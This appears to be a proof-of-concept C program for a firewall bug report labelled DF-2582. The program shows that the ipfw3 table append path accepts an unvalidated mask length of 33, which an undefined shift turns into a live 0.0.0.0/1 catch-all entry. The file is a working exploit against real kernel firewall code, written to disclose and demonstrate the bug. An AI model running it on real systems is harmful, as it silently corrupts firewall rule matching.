DF-2582 / ipfw3_masklen.c
/* DF-2582: table_append_dispatch (ip_fw3_table.c:161-164) computes * * mask = htonl(~((1 << (32 - mlen)) - 1)); * * with the user-supplied masklen completely unvalidated (root-gated raw * socket). mlen==0 makes 1<<32, mlen>32 makes the shift count negative * (both UB); on x86 the count masks to 5 bits so a crafted masklen stores * an attacker-chosen WRONG mask. Behavioral proof, all in table 12: * - empty table: 1.2.3.4 not found * - append 10.1.2.0/24: 10.1.2.9 found, 10.9.9.9 not found (honest) * - append 11.0.0.5/33: stored key becomes 0.0.0.0/1 (count -1 & 31 = 31 * -> mask 0x80000000), so 99.0.0.1 (top bit 0) is now FOUND while * 200.1.1.1 (top bit 1) is not: the bogus /1 catch-all is live in the * datapath tree. rc==0 means found, rc==-1 not found. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <errno.h> #define IP_FW_X 49 #define OP_CREATE 73 #define OP_APPEND 75 #define OP_TEST 80 struct xh { uint16_t opcode; uint16_t pad; }; struct ient { in_addr_t addr; u_int8_t masklen; }; struct itbl { int id; int type; int count; char name[32]; struct ient ent[4]; }; static int s; static int op(uint16_t opcode, int id, in_addr_t a, uint8_t ml) { struct { struct xh h; struct itbl t; } m; memset(&m, 0, sizeof(m)); m.h.opcode = opcode; m.t.id = id; m.t.type = 1; m.t.ent[0].addr = a; m.t.ent[0].masklen = ml; return setsockopt(s, IPPROTO_IP, IP_FW_X, &m, sizeof(m)); } static void t(const char *ip) { int rc = op(OP_TEST, 12, inet_addr(ip), 0); printf(" test %-10s -> rc=%d (%s)\n", ip, rc, rc == 0 ? "FOUND in table" : "not found"); } int main(void) { s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { printf("[-] raw socket: %s (root only)\n", strerror(errno)); return 1; } printf("[*] create table 12: rc=%d\n", op(OP_CREATE, 12, 0, 0)); printf("[*] empty table:\n"); t("1.2.3.4"); printf("[*] append 10.1.2.0/24: rc=%d\n", op(OP_APPEND, 12, inet_addr("10.1.2.0"), 24)); t("10.1.2.9"); t("10.9.9.9"); printf("[*] append 11.0.0.5/33 (masklen>32, unvalidated): rc=%d <-- ACCEPTED\n", op(OP_APPEND, 12, inet_addr("11.0.0.5"), 33)); t("99.0.0.1"); t("200.1.1.1"); printf("[*] after /33: 99.0.0.1 matches (stored as 0.0.0.0/1 catch-all)\n"); printf(" while 200.1.1.1 does not -- the unbounded shift stored the\n"); printf(" wrong mask and it is live in the lookup tree.\n"); return 0; } |